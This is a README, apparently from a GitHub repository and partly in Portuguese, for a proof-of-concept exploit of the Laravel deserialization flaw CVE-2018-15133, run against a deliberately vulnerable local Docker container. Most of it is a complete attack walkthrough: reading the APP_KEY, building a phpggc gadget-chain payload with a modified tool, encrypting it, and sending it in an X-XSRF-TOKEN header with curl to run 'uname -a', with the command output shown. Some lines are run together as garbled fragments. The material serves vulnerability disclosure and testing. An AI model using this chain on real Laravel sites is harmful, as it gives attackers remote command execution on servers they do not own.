kozmic/laravel-poc-cve-2018-15133Prova de Conceito para CVE-2018-15133 (vulnerabilidade de desserialização no Laravel)
Este repositório contém uma aplicação Laravel 5.6.29 simples no PHP 7.2.10 com uma rota básica noop adicionada em routes/web.php (veja Dockerfile) e o exploit de Prova de Conceito (cve-2018-15133.php) para CVE-2018-15133 que deve explorar com sucesso a aplicação Laravel e executar uname -a no sistema alvo.
uname -a no sistema alvo# Build the Docker image (or skip this step and fetch from kozmico/laravel-poc-cve-2018-15133):
docker build -t laravel-poc-cve-2018-15133 .
# Launch the container and expose it on localhost:8000:
docker run -d -p 8000:8000 laravel-poc-cve-2018-15133
# A vanilla Laravel 5.6.29 on PHP 7.2.10 should now be running on http://localhost:8000
Para executar uname -a na aplicação demo rodando Laravel 5.6.29, fazemos o seguinte:
APP_KEY da aplicação Laravel em execuçãosystem("uname -a");APP_KEYuname -a# Get APP_KEY:
$ docker exec -it $(docker ps --latest --quiet) grep -e \^APP_KEY /var/www/html/laravel/.env
APP_KEY=base64:9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk=
# Generate unserialize payload:
$ phpggc Laravel/RCE1 'uname -a' -b # Note: Vanilla phpggc will only work on PHP 5.6, this is a modified version
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9
# Encrypt payload with APP_KEY:
$ ./cve-2018-15133.php 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9
'PoC for Unserialize vulnerability in Laravel <= 5.6.29 (CVE-2018-15133) by @kozmic
HTTP header for POST request:
X-XSRF-TOKEN: eyJpdiI6Imp3c1BUejE5aGFFUVM4a0NcLzIyODBnPT0iLCJ2YWx1ZSI6InZrTEdOY2o1NlVJdlltWFl3OFBxTEY1a1pCZWlaSDRSdXM1STNSa21sSE5Cb3hFd09cL2JUdU0wWHhjK0dUU0dYQzlTd3ZYSm50NTc4NW90UnNrZW5mMHc2RHdcLzZia01cL29wVUhjQml5cCtmZ1VcL2lwbnVySG52MHEwWXdZMVFVSXhWYjFEQlwveTZPQ3JORnRYdVQyeVFnODM1UGVCSVFcL3B6RGs2VDczOTZEbkFKdFwvc3lpZXBtcUo4VllLNU4zS0pMV3ZBUlNXZDRHRmNnOG1vOFZUWDVicE5uV0FcL1NSXC9HRjh2XC9YR2pLUDlEdlEwaytWRHl5TFhvb3RXM0Y4ejNXIiwibWFjIjoiOTMwMTNkZDYwYzNjYmQ1YTg4ZjRmNjM2NmZhMzBjNzA5NTgzYmI0ZWM3Y2MzOGM4YmExYjM2ZTVkOTIzZDJjYyJ9
# Send the exploit payload and see that 'uname -a' executed since we can see 'Linux ad66c19a7ab5 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 16:00:05 UTC 2018 x86_64 GNU/Linux' in the first line of the response:
$ curl localhost:8000 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Imp3c1BUejE5aGFFUVM4a0NcLzIyODBnPT0iLCJ2YWx1ZSI6InZrTEdOY2o1NlVJdlltWFl3OFBxTEY1a1pCZWlaSDRSdXM1STNSa21sSE5Cb3hFd09cL2JUdU0wWHhjK0dUU0dYQzlTd3ZYSm50NTc4NW90UnNrZW5mMHc2RHdcLzZia01cL29wVUhjQml5cCtmZ1VcL2lwbnVySG52MHEwWXdZMVFVSXhWYjFEQlwveTZPQ3JORnRYdVQyeVFnODM1UGVCSVFcL3B6RGs2VDczOTZEbkFKdFwvc3lpZXBtcUo4VllLNU4zS0pMV3ZBUlNXZDRHRmNnOG1vOFZUWDVicE5uV0FcL1NSXC9HRjh2XC9YR2pLUDlEdlEwaytWRHl5TFhvb3RXM0Y4ejNXIiwibWFjIjoiOTMwMTNkZDYwYzNjYmQ1YTg4ZjRmNjM2NmZhMzBjNzA5NTgzYmI0ZWM3Y2MzOGM4YmExYjM2ZTVkOTIzZDJjYyJ9'| head -n 2
Linux ad66c19a7ab5 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 16:00:05 UTC 2018 x86_64 GNU/Linux
<!DOCTYPE html>
<html lang="en">
Modificação do phpggc para PHP 7.2: sed -i -e 's/assert/system/g' gadgetchains/Laravel/RCE/1/gadgets.php